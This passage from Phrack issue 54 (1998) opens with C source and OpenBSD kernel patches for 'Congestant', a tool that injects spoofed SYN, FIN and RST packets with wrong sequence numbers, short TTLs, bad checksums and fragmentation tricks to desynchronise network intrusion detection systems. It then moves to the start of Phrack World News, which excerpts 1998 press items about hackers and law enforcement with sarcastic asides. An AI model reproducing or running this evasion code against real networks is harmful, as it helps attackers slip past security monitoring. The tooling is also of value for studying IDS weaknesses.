#ifdef __GLIBC__ == 2
int connect __P ((int __fd,
                  __CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
    int result, nl;
    struct sockaddr_in sa;

    long from, to;
    short src, dest;

    unsigned long fakeseq=424242;
    int type=SOCK_STREAM;

```

```

        unsigned long realseq=0;
        unsigned long recvseq=0;
        int ttl=255,ttlseq;

#ifdef __GLIBC__ == 2
        if (cong_init==0)
            cong_start();
#endif

        if (cong_init++==1)
            fprintf(stderr,"Congestant v1 by horizon loaded.\n");

/* quick hack so we dont waste time with udp connects */

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
        syscall(242, __fd, &type, &realseq, &recvseq);
#endif
#endif /* openbsd */
        if (type!=SOCK_STREAM)
        {
            result=syscall(SYS_connect, __fd, __addr, __len);
            return result;
        }
#endif /* kernel support */

        nl=sizeof(sa);
        getsockname(__fd, (struct sockaddr *)&sa, &nl);
        from=sa.sin_addr.s_addr;
        src=sa.sin_port;

#ifdef __GLIBC__ == 2
        to=__addr.__sockaddr_in->sin_addr.s_addr;
        dest=__addr.__sockaddr_in->sin_port;
#else
        to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
        dest=((struct sockaddr_in *)__addr)->sin_port;
#endif

        if (cong_config.one_host_attack)
        {
            cong_send_tcp(inet_addr(FAKEHOST),
                to, 4242, dest, 0, 0,
                TH_SYN, NULL, 0, 0, 254);
            DEBUG("Spoofed Fake SYN Packet\n");
        }

        if (cong_config.syn_chk)
        {
            /* This is a potential problem that could mess up
             * client programs. If necessary, we bind the socket
             * so that we can know what the source port will be
             * prior to the connection.
             */
            if (src==0)
            {
                bind(__fd, (struct sockaddr *)&sa, nl);
                getsockname(__fd, (struct sockaddr *)&sa, &nl);
                from=sa.sin_addr.s_addr;
                src=sa.sin_port;
            }

            cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
                TH_SYN, NULL, 0, 100, 254);

```

```

        DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
        fakeseq++;
    }

    DEBUG("Connection commencing...\n");

#ifdef __OpenBSD__
    result=cong_connect(__fd,__addr,__len);
#else /* not openbsd */
    result=syscall(SYS_connect,__fd,__addr,__len);
#endif

    if (result== -1)
    {
        if (errno!=EINPROGRESS)
            return -1;
        /* Let's only print the warning once */
        if (cong_init++==2)
            fprintf(stderr,"Warning: Non-blocking connects might not
work right.\n");
    }

    /* In case an ephemeral port was assigned by connect */

    nl=sizeof(sa);
    getsockname(__fd,(struct sockaddr *)&sa,&nl);
    from=sa.sin_addr.s_addr;
    src=sa.sin_port;

    if (cong_config.syn_seq)
    {
        cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
            TH_SYN, NULL, 0, 0, 254);
        cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
            TH_SYN, NULL, 0, 0, 254);

        DEBUG("Sent Desynchronizing SYNs.\n");
    }

    if (cong_config.data_seq)
    {
        cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
        DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
        fakeseq+=8*1024;
    }

    if (cong_config.fin_seq)
    {
        cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
            TH_FIN, NULL, 0, 0, 254);
        cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
            TH_FIN, NULL, 0, 0, 254);

        DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
    }

    if (cong_config.rst_seq)
    {
        cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
            TH_RST, NULL, 0, 0, 254);
        cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
            TH_RST, NULL, 0, 0, 254);
    }

```

```

        DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
    }
#endif KERNELSUPPORT
#ifdef __OpenBSD__

    if (cong_config.ttl==1)
        if (cong_ttl_cache!=to)
        {
            ttl=cong_find_ttl(from,to)-1;
            cong_ttl_cache=to;
            cong_ttl=ttl;
        }
        else
            ttl=cong_ttl;

    if (ttl<0)
    {
        fprintf(stderr,"Warning: The target host is too close for a ttl
attack.\n");
        cong_config.data_ttl=0;
        cong_config.fin_ttl=0;
        cong_config.rst_ttl=0;
        ttl=0;
    }

    syscall(242, __fd, &type, &realseq, &recvseq);
    ttlseq=realseq;

#endif /*openbsd */

    if (cong_config.data_ttl)
    {
        cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
        DEBUG("Inserted 8K of data with short ttl.\n");
        ttlseq+=1024*8;
    }

    if (cong_config.fin_ttl)
    {
        cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
            htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
        cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
            htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
        DEBUG("Spoofed FINs with short ttl.\n");
    }

    if (cong_config.rst_ttl)
    {
        cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
            htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
        cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
            htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
        DEBUG("Spoofed RSTs with short ttl.\n");
    }

    if (cong_config.data_chk)
    {
        cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
        DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
        realseq+=1024*8;
    }

    if (cong_config.fin_chk)

```

```

        {
            cong_send_tcp(from, to, src, dest, htonl(realseq++),
                          htonl(recvseq), TH_FIN, NULL, 0, 100, 254);
            cong_send_tcp(from, to, src, dest, htonl(realseq++),
                          htonl(recvseq), TH_FIN, NULL, 0, 100, 254);
            DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
        }

    if (cong_config.rst_chk)
    {
        cong_send_tcp(from, to, src, dest, htonl(realseq++),
                      htonl(recvseq), TH_RST, NULL, 0, 100, 254);
        cong_send_tcp(from, to, src, dest, htonl(realseq++),
                      htonl(recvseq), TH_RST, NULL, 0, 100, 254);
        DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
    }

#endif /* kernel support */

    return result;
}
<-->
<+> congestant/netinet.patch
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
--- /usr/src/sys.2.4.orig/netinet/in.h   Tue Dec  8 10:32:38 1998
+++ netinet/in.h                         Tue Dec  8 10:48:33 1998
@@ -325,7 +325,10 @@
 #define IPCTL_IPPORT_LASTAUTO    8
 #define IPCTL_IPPORT_HIFIRSTAUTO 9
 #define IPCTL_IPPORT_HILASTAUTO  10
-#define IPCTL_MAXID               11
+#define IPCTL_FRAG_HACK_HEAD      11
+#define IPCTL_FRAG_HACK_BODY      12
+#define IPCTL_OPTIONS_HACK        13
+#define IPCTL_MAXID               14

 #define IPCTL_NAMES { \
 { 0, 0 }, \
@@ -339,6 +342,9 @@
 { "portlast", CTLTYPE_INT }, \
 { "porthifirst", CTLTYPE_INT }, \
 { "porthilast", CTLTYPE_INT }, \
+ { "fraghackhead", CTLTYPE_INT }, \
+ { "fraghackbody", CTLTYPE_INT }, \
+ { "optionshack", CTLTYPE_INT }, \
 }

#ifdef _KERNEL
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
--- /usr/src/sys.2.4.orig/netinet/ip_input.c   Tue Dec  8 10:32:41 1998
+++ netinet/ip_input.c                         Tue Dec  8 10:48:33 1998
@@ -106,6 +106,10 @@
 extern int ipport_hilastauto;
 extern struct baddynamicports baddynamicports;

+extern int ip_fraghackhead;
+extern int ip_fraghackbody;
+extern int ip_optionshack;
+
 extern struct domain inetdomain;
 extern struct protosw inetsw[];
 u_char ip_protox[IPPROTO_MAX];

```

```

@@ -1314,6 +1318,15 @@
        case IPCTL_IPPORT_HILASTAUTO:
            return (sysctl_int(oldp, oldlenp, newp, newlen,
                &ipport_hilastauto));
+
+        case IPCTL_FRAG_HACK_HEAD:
+            return (sysctl_int(oldp, oldlenp, newp, newlen,
+                &ip_fraghackhead));
+
+        case IPCTL_FRAG_HACK_BODY:
+            return (sysctl_int(oldp, oldlenp, newp, newlen,
+                &ip_fraghackbody));
+
+        case IPCTL_OPTIONS_HACK:
+            return (sysctl_int(oldp, oldlenp, newp, newlen,
+                &ip_optionshack));
+
        default:
            return (EOPNOTSUPP);
    }
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
--- /usr/src/sys.2.4.orig/netinet/ip_output.c   Tue Dec  8 10:32:43 1998
+++ netinet/ip_output.c Tue Dec  8 11:00:14 1998
@@ -88,6 +88,10 @@
extern int ipsec_esp_network_default_level;
#endif

+int ip_fraghackhead=0;
+int ip_fraghackbody=0;
+int ip_optionshack=0;
+
+/*
+ * IP output.  The packet in mbuf chain m contains a skeletal IP
+ * header (with len, off, ttl, proto, tos, src, dst).
@@ -124,6 +128,9 @@
    struct inpcb *inp;
#endif

+    /* HACK */
+    int fakeheadmtu;
+
+    va_start(ap, m0);
+    opt = va_arg(ap, struct mbuf *);
+    ro = va_arg(ap, struct route *);
@@ -144,7 +151,50 @@
        m = ip_insertoptions(m, opt, &len);
        hlen = len;
    }
+    /* HACK */
+    else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+    {
+        struct mbuf *n=NULL;
+        register struct ip* ip= mtod(m, struct ip*);
+
+        if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat)
+        {
+            MGETHDR(n, M_DONTWAIT, MT_HEADER);
+            if (n)
+            {
+                n->m_pkthdr.len = m->m_pkthdr.len + 40;
+                m->m_len -= sizeof(struct ip);
+                m->m_data += sizeof(struct ip);
+                n->m_next = m;
+                m = n;
+                m->m_len = 40 + sizeof(struct ip);
+                m->m_data += max_linkhdr;
+                bcopy((caddr_t)ip, mtod(m, caddr_t),

```

```

+                                     sizeof(struct ip));
+
+     }
+
+     else
+     {
+         m->m_data -= 40;
+         m->m_len += 40;
+         m->m_pkthdr.len += 40;
+         ovbcopy((caddr_t)ip, mtod(m, caddr_t),
+                 sizeof(struct ip));
+         n++; /* make n!=0 */
+     }
+     if (n!=0)
+     {
+         ip = mtod(m, struct ip *);
+         memset((caddr_t)(ip+1), 0, 40);
+         ip->ip_len += 40;
+
+         hlen=60;
+         len=60;
+     }
+
+     ip = mtod(m, struct ip *);
+
+     /*
+      * Fill in IP header.
+      */
@@ -721,7 +771,15 @@
+     /*
+      * If small enough for interface, can just send directly.
+      */
-     if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
+
+     /* HACK */
+
+     fakeheadmtu=ifp->if_mtu;
+
+     if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+         fakeheadmtu=ip_fraghackhead;
+
+     if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
+         ip->ip_len = htons((u_int16_t)ip->ip_len);
+         ip->ip_off = htons((u_int16_t)ip->ip_off);
+         ip->ip_sum = 0;
@@ -738,7 +796,10 @@
+         ipstat.ips_cantfrag++;
+         goto bad;
+     }
-     len = (ifp->if_mtu - hlen) &~ 7;
+
+     /* HACK */
+
+     len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
+     if (len < 8) {
+         error = EMSGSIZE;
+         goto bad;
@@ -748,6 +809,9 @@
+     int mhlen, firstlen = len;
+     struct mbuf **mnext = &m->m_nextpkt;
+
+     /*HACK*/
+     int first=0;

```

```

+
+      /*
+      * Loop through length of segment after first fragment,
+      * make new header and copy data of each part and link onto chain.
@@ -755,7 +819,9 @@
+      m0 = m;
+      mhlen = sizeof (struct ip);
+      for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
-      MGETHDR(m, M_DONTWAIT, MT_HEADER);
+      if (first && ip_fraghackbody)
+      len=(ip_fraghackbody-hlen) &~7;
+      MGETHDR(m, M_DONTWAIT, MT_HEADER);
+      if (m == 0) {
+          error = ENOBUFS;
+          ipstat.ips_odropped++;
@@ -791,6 +857,7 @@
+      mhip->ip_sum = 0;
+      mhip->ip_sum = in_cksum(m, mhlen);
+      ipstat.ips_ofragments++;
+      first=1;
+
+    }
+    /*
+    * Update first fragment by trimming what's been copied out
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libd
eslite
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c      Tue Dec  8 10:32:45 1998
+++ netinet/tcp_subr.c      Tue Dec  8 10:48:33 1998
@@ -465,3 +465,18 @@
+      if (tp)
+          tp->snd_cwnd = tp->t_maxseg;
+    }
+
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
+
+void tcp_getseq(struct socket *so, struct mbuf *m)
+{
+    struct inpcb *inp;
+    struct tcpcb *tp;
+
+    if ((inp=sotoinpcb(so)) && (tp=intotcpb(inp)))
+    {
+        m->m_len=sizeof(unsigned long)*2;
+        *(mtod(m, unsigned long *))=tp->snd_nxt;
+        *((mtod(m, unsigned long *)) + 1)=tp->rcv_nxt;
+    }
+}
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c    Tue Dec  8 10:32:45 1998
+++ netinet/tcp_usrreq.c      Tue Dec  8 10:48:33 1998
@@ -363,6 +363,10 @@
+      in_setsockaddr(inp, nam);
+      break;
+
+      case PRU_SOCKINFO:
+          tcp_getseq(so, m);
+          break;
+
+      case PRU_PEERADDR:
+          in_setpeeraddr(inp, nam);
+          break;
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h      Tue Dec  8 10:32:45 1998

```



```

+++ netinet/tcp_var.h    Tue Dec  8 10:48:34 1998
@@ -291,6 +291,8 @@
void    tcp_pulloutofband __P((struct socket *,
        struct tcpiphdr *, struct mbuf *));
void    tcp_quench __P((struct inpcb *, int));
+/*HACK*/
+void    tcp_getseq __P((struct socket *, struct mbuf *));
int      tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
void    tcp_respond __P((struct tcpcb *,
        struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
<-->
<+> congestant/kern.patch
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c  Thu Dec  3 11:00:01 1998
+++ kern/uipc_syscalls.c      Thu Dec  3 11:13:44 1998
@@ -924,6 +924,53 @@
}

/*
+ * Get socket information.  HACK
+ */
+
+/* ARGSUSED */
+int
+sys_getsockinfo(p, v, retval)
+    struct proc *p;
+    void *v;
+    register_t *retval;
+{
+    register struct sys_getsockinfo_args /* {
+        syscallarg(int) fdes;
+        syscallarg(int *) type;
+        syscallarg(int *) seq;
+        syscallarg(int *) ack;
+    } */ *uap = v;
+    struct file *fp;
+    register struct socket *so;
+    struct mbuf *m;
+    int error;
+
+    if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
+        return (error);
+
+    so = (struct socket *)fp->f_data;
+
+    error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
+
+    if (!error && (so->so_type==SOCK_STREAM))
+    {
+        m = m_getclr(M_WAIT, MT_DATA);
+        if (m == NULL)
+            return (ENOBUFS);
+
+        error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
+
+        if (!error)
+            error = copyout(mtod(m, caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
+        if (!error)
+            error = copyout(mtod(m, caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
+        m_freem(m);
+    }
+

```

```

+
+     return error;
+}
+
+/*
+ * Get name of peer for connected socket.
+ */
+/* ARGSUSED */
--- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec  3 11:00:00 1998
+++ kern/syscalls.master Thu Dec  3 11:14:44 1998
@@ -476,7 +476,8 @@
240     STD                { int sys_nanosleep(const struct timespec *rqtp, \
                          struct timespec *rmtp); }

241     UNIMPL
-242     UNIMPL
+242     STD                { int sys_getsockinfo(int fdes, int *type, \
+                          int *seq, int *ack); }
+
243     UNIMPL
244     UNIMPL
245     UNIMPL
<-->
<+> congestant/sys.patch
--- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec  3 11:00:39 1998
+++ sys/protosw.h Thu Dec  3 11:16:41 1998
@@ -148,8 +148,8 @@
#define PRU_SLOWTIMO 19 /* 500ms timeout */
#define PRU_PROTORCV 20 /* receive from below */
#define PRU_PROTOSEND 21 /* send to below */
-
-#define PRU_NREQ 21
+#define PRU_SOCKINFO 22
+#define PRU_NREQ 22

#ifdef PRUREQUESTS
char *prurequests[] = {
@@ -158,7 +158,7 @@
    "RCVD", "SEND", "ABORT", "CONTROL",
    "SENSE", "RCVOOB", "SENDOOB", "SOCKADDR",
    "PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO",
-    "PROTORCV", "PROTOSEND",
+    "PROTORCV", "PROTOSEND", "SOCKINFO",
};
#endif
<-->

----[ EOF
---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 11 of 12

-----[ P H R A C K W O R L D N E W S

-----[ Issue 54

```

Hi. A few changes have been made to Phrack World News (PWN) and will probably change again in the future. Because of the increase of news on the net, security, hackers and other PWN topics, it is getting more difficult to keep Phrack readers informed of everything. To combat this problem, PWN will include more articles, but only relevant portions (or the parts I want to make smart ass remarks about). If you would like to read the full article, look through the ISN (InfoSec News) archives located at:

ftp.repsec.com

/pub/text/digests/isn

If you would like timely news delivered with less smart ass remarks, you can always subscribe to ISN by mailing majordomo@repsec.com with 'subscribe isn' in the body of your mail.

The following articles have been accumulated from a wide variety of places. When known, original source/author/date has been included. If the information is absent, then it wasn't sent to us.

As usual, I am putting some of my own comments in brackets to help readers realize a few things left out of the articles. Comments are my own, and do not necessarily represent the views of Phrack, journalists, government spooks, my cat, or anyone else. If you want to see more serious comments about the piss poor journalism plaguing us today, visit the Security Scene Errata web page: <http://www.attrition.org/errata/>

If you feel the need to send me love letters, please cc: route@infonexus.com so he can see I really do have fans. If you would like to mail my cat, don't, he hates you because you are a plebian in his eyes. Meow.

This installment of PWN is dedicated to Feds, Hackers, and blatant stupidity. It was brought to you by the letters that collectively spell 'dumb shit'.

- disorder

-----[Issue 54

- 0x1: Teen Crackers Admit Guilt
- 0x2: FBI grads get gun, badge, and now, a laptop
- 0x3: Meet the Hacker Trackers
- 0x4: Justice Department to Hire Computer Hackers
- 0x5: A Cracker-Proofing Guarantee
- 0x6: First-Ever Insurance Against Hackers
- 0x7: New Unit to Combat High-Tech Crime (National Police Agency)
- 0x8: First 'Cyber Warrior' Unit is Poised for Operational Status (DOD)
- 0x9: Tracking Global Cybercrime (Chamber of Commerce)
- 0xa: FBI Opens High-Tech Crisis Center
- 0xb: Navy fights new hack method
- 0xc: Pentagon Blocks DoS Attack
- 0xd: Hackers Elude Accelerator Center Staff
- 0xe: Cyberattacks leave feds chasing 'vapor'
- 0xf: Congress Attacks Cyber Defense Funds
- 0x10: Mudge on Security Vendors
- 0x11: More delays for Mitnick trial
- 0x12: 'Back door' doesn't get very far
- 0x13: ICSA Goon Pretends to be a Hacker
- 0x14: Is Your kid a Hacker
- 0x15: Paging Network Hijacked
- 0x16: FBI busts hacker who sold clandestine accounts on PageNet system
- 0x17: EFF DES Cracker Machine Brings Honesty to Crypto Debate
- 0x18: Hacking site gets hacked
- 0x19: From Criminals to Web Crawlers
- 0x1a: Running a Microsoft OS on a Network? Our Condolences
- 0x1b: Security expert explains New York Times site break in
- 0x1c: Merriam-Webster Taken Offline Old Fashioned Way
- 0x1d: Long Haired Hacker Works Magic
- 0x1e: Body of Evidence
- 0x1f: The Golden Age of Hacktivism
- 0x20: Phrack straddles the world of hackers
- 0x21: Cops see little hope in controlling computer crime

0x1>-----

Title: Teen Crackers Admit Guilt
Source: Wired
Date: 1:10pm 11.Jun.98.PDT

Two California teenagers have pleaded guilty to federal charges of cracking Pentagon computers, the San Francisco Chronicle reports.

Terms of the plea are still being negotiated after a meeting last week between attorneys for the youths and federal officials, the newspaper said. Neither youth is expected to serve time in custody, sources close to the case said.

In February, the FBI raided the Cloverdale homes of the two suspected crackers -- nicknamed Makaveli, 16, and TooShort, 15 -- and seized computers believed to have been used to break into unclassified computer systems in government agencies, military bases, and universities.

[Sucks to be busted. Sucks worse to plead guilty to being a script kiddie.]

The youths were never formally arrested in the FBI probe. US Deputy Defense Secretary John Hamre called the breach "the most organized and systematic attack" to date on Pentagon systems.

[Feds only enjoy sticking guns in the faces of these kids. Not actually arresting them.]

0x2>-----

Title: FBI grads get gun, badge, and now, a laptop
Source: TechWeb
Date: 7.22.98

When FBI special-agent trainees graduate from the bureau academy at Quantico, Va., they are each issued a gun, a badge -- and now, a laptop computer.

[Unfortunately, they don't always get a clue.]

Crime today often involves the use of sophisticated technology, and new agents have to be able to shoot straight, learn the law, and be able to use technology.

Part of the FBI's duty is to investigate computer-related crimes and issues of national security. Because it needs these specialized skills, the bureau is in competition with other agencies such as the Secret Service and the Central Intelligence Agency (CIA) -- as well as the private sector -- for recruits.

[Great low pay! Lots of travel! No respect! Come join the FBI!]

Attorney General Janet Reno, addressing a conference on children's safety on the Internet in December, called on the technology community to help law enforcement.

But Reno's call does not mean making a computer geek into a G-man. The FBI recruits in the high-tech industry and in colleges and universities for special agents with other attributes besides computer-science degrees.

"There is not a specific category [in the FBI] for someone with more

computer skills," said Special Agent Ron Van Vracken, an FBI spokesman. "But someone with skills and experience is highly marketable. We've recognized we need to attract those people into the FBI."

The FBI is not alone.

The CIA has a long listing of Web postings for technology-related jobs. There are ongoing requirements for knowledge-based systems engineers, software developers, and electronics engineers listed alongside jobs such as theatrical-effects specialists and clandestine service trainees.

[Yet the CIA is scrambling to find jobs for all the cold-war spook rejects...]

Although the CIA is not a law-enforcement agency like the FBI and the Secret Service, it, too, chases "bad guys" and needs people trained in technology, said Anya Guilsher, an agency spokeswoman. "We have a great interest in people with advanced technology skills," she said.

The Secret Service, which investigates financially related crimes as well as protects the president, is also looking. Its jobs listings include openings for computer specialists and telecommunications specialists.

The ideal candidate for these agencies is not necessarily a computer wiz, said Ron Williams, a former Secret Service agent and current CEO of high-tech security company Talon Technology.

"The ideal candidate is well-rounded," he said, adding they should also understand computers, have good communications skills, and know human behavior.

"To catch a criminal, you have to think like one," Williams said. "You can take agents, and if they have good street smarts and good computer skills, you can make them into hacker sleuths."

[Hypothetically.. since they haven't done it yet.]

0x3>-----

Title: Meet the Hacker Trackers

A gang of convicts dressed in cartoon-striped uniforms shuffle slowly along a sidewalk, searing in the noon-day sun. This is downtown Phoenix, a low-rise high-tech city with a decidedly old-fashioned approach to crime. From her office on the sixth floor of the county attorney's office, the prosecutor remains unmoved by the sight of the prisoners. "People 'round here don't have much in the way of sympathy for criminals of any kind. And most of those guys are real criminals, not jumped up nobodies screaming for attention - the kind of people I deal with!"

Meet Gail Thackeray, the world's foremost legal expert on computer crime. A former assistant attorney general of the state of Arizona, Thackeray has been fighting hackers and fraudsters for nearly 25 years. Now she works as a prosecutor for the Maricopa County attorney's office, a jurisdiction the size of New England that takes in all of Phoenix. It's most famous as the home of Sheriff Joe Arpaio, "the meanest sheriff in America". This is the man responsible for the convicts in stripes. He has made his reputation by toughening up prison conditions, to loud hollers of approval from freedom-loving Arizonans.

Good citizens of Maricopa County can now walk the streets in safety, but for the big technology companies that have moved to the "valley of the sun", the unseen hand of hackers and computer phreaks is proving a major

distraction. Whether it's a left-over hippy feeling, the University campus or just a reaction to the extreme heat, Phoenix is a top spot for computer criminals. Thackeray is there to stop them.

Arizona has perhaps the United States' strongest legal code against the activities of hackers, but sometimes Gail aches to fight fire with fire. "We have to document every step of the way we investigate. They don't need to have our education. They just need one other crook showing them, like monkeys at a keyboard, how to imitate the crime. The bulletin boards were the precursors to this, but the Net has exploded it down to the individual level anywhere in the world. You don't need sophistication, you don't even need very good equipment - one of the best hackers we've ever dealt with had a Compaq luggable 286 and he was wreaking havoc around the world. Just a list of his route on different systems attached to the Internet would keep me in the hacker business for the rest of my life - it goes on for pages."

Getting away with it

We move from her office to the conference room next door. Thackeray proudly displays her new Compaq notebook. Her famous slide show is now held on the notebook's hard disk. For more years than she'd care to remember, Thackeray has been showing her slides to police forces and prosecutors across the United States, advising them how to build a case against hackers. She also trains police forces all over the country, including secret service agents at the Georgia Federal training centre. Even the bad guys have been known to call her to find out what the cops have been up to.

Although she has been a hacker tracker for 25 years, Thackeray is more depressed than ever by the escalating scale of computer crime. The Web, she says, has made it impossible to catch the crooks. "Even if it's the boy next door, we haven't a chance. He may be doing something rotten to your high-tech consulting firm, he may be next door trying to steal your stuff - but he's looping through a long-distance carrier, a corporate phone system, three Internet providers and circling the world twice before he hits you. That's the problem from our standpoint. Even assuming all those parties can trace the links they're involved in, we have to go through a different process, and probably a different law enforcement agency, for every single one.

"In the old days out here, the Texas rangers were very famous for catching bank robbers. They didn't stop at the Texas border when chasing a killer. They'd jump on their horse and, even if they crossed the state line, they would follow wherever the chase lead them. In the computer age we can't do that at all. What we have now in the US is a mish-mash of laws and agencies. Multiply that on the international level and it's completely out of hand."

High-tech law enforcement

Thackeray moved to Arizona in 1986 after beginning her career as a prosecutor in Philadelphia. She worked in the attorney general's office running an organised crime and racketeering unit that won a national reputation for its technical ability in the fight against hackers. She was also the mastermind behind Operation Sundevil (see panel, overleaf), the first nationally coordinated raid on hackers. But then democracy took a turn and she became a victim of the strange process by which Americans elect their most senior law officers. Her boss lost the race to be elected attorney general. The victor wasn't interested in technology so 12 people got sacked, including Thackeray.

Taking a break from the slide show for a moment, she shows me a little

number-generating program stored on her laptop. It generates random numbers for Visa cards. Give it the four-digit code that identifies a card issuer and within minutes you'll have hundreds of false credit card numbers to play with. "Now supposing you had another little program that made the bank think these numbers were legitimate - How much do you think you could make?" We go on-line to see some of the hacker sites. Thackeray believes that the Web is making a bigger range of crimes much easier to commit. "In the future the good parts of the Internet will be bigger and more complex and available to more people and that's great. But this means all of those people will have victim potential. Thanks to the growth of the Web, one criminal can now do an unprecedented amount of damage, whether it's to corporations or to individual's feelings by threatening and stalking, spam attacks or just shutting down ISPs.

"We have had four incidents in the first six months of this year. These people are attacking not just the little local service provider, but also some of the 19 Internet backbone carriers. They're absolutely ruthless and don't care who they hurt. In a case in Tucson, tens of thousands of users were shut down just because some person with an adolescent level of maturity decided he was mad at another ISP, so he took all of its customers off-line. It's frighteningly easy to do and only took one broadcast message. All the routers that run the Internet shake hands periodically, so if you can infect one router, given time it will infect the entire world. And that's what happened. It took just a few days for the entire world to believe that this service provider, and all its customers, didn't exist." Not only is the Web host to a whole new range of crimes, it's also home to a brand new band of weirdos. "Unfortunately the Web is the best playground ever invented for sociopaths. They can hide, are anonymous and can't be traced. Nobody is in charge and it gives them that power rush that psychologists say is what they live off. It's their whole life's breath. It's the chest-beating power surge of being able to do it and get away with it. We are just seeing more acts of wanton destruction simply for the sake of showing that you can do it."

Does she think this new generation of Web hackers is a real threat to people? "Every baby in America knows the 911 emergency system. If mommy's drowning in the pool, we've had three-year-olds save her life by dialling 911. The hackers have attacked the 911 system and they're still doing it. That's not for knowledge or for glory, that's just an act of vicious ego."

Rat's nests and technocrap

Personal liberty is taken very seriously in the western United States. No-one likes the idea of "big government" interfering with people's lives. Even hackers gain sympathy when they complain of harassment by police and prosecutors. Some say they've been victimised by the authorities.

Thackeray denies this. "It's a hacker myth that we take away their computers and sit on them forever. In one case we came across, the guy had over 12Gb of data stored on his system - that's equivalent to 15,000 paperback books. It's better that we seize all that material - you might have love letters, cook book recipes and your extortion kidnapping letter on the same disk. We can't take one without taking the other. We cannot physically copy that volume. It is far easier for us to take computers away than for us to camp out in your house for six months."

A hovel of a bedroom fills the projector screen. Coke cans everywhere, rubbish dotted across an unmade bed. In the corner sits a naked computer, stripped of casing, wires exposed. Thackeray calls it a rat's nest. She has hundreds of similar photos. "Back in Philadelphia I began collecting pictures of computers with their wires hanging out. When the geeks speak to a jury we call the language they use technocrap. What you have here is the physical version of technocrap." She gestures at the screen. Typically

hackers will set up a stereo system within easy reach of the computer, and often a drinks cabinet as well.

A recent innovation is the home network. "We've come up against four or five houses recently where people have had multiple systems networked in the house. And that's even without running a bulletin board. When we get lucky and we're fast enough we can find the guilty computer - but the hardest part of the job is finding the brain behind the computer. To find that person is good old- fashioned low-tech police work."

Thackeray's team face another new problem caused by the huge increase in storage capacity. "In the computer situation no one throws anything out. That makes our life more difficult. We don't want to read the last five year's worth of your e-mail, life's too short and frankly it's not that interesting. But sometimes we're searching for one piece of evidence and it's buried in a huge volume of stuff so what else can we do?"

Tracking or trailing?

The slide show draws to an end. We amble downstairs to the office of another investigator. He shows us an array of hacker memorabilia on his computer. I ask Gail about the future. She believes that unless there's a fundamental change in the way police forces treat computer crime, there is no hope at all. "The police departments and prosecutors around the country are, frankly, paramilitary organisations with very bureaucratic, layered decision- making processes. They see the need for more training in gangs; they don't see the need for more training in computers because the management came out of the knife and gun club.

"Police management is dominated by the physical crimes people. We've got to dissolve some of these barriers. When we move we need to move fast like the Texas rangers - both legally and bureaucratically we're just not there yet. When I started 20 years ago law enforcement was behind the computer crime wave. We're farther behind today than we were then."

Matt McGrath is an investigative journalist who works for Radio 5.

0x4>-----

Title: Justice Department to Hire Computer Hackers
Source: Business Week
Date: Aug. 6, 1998

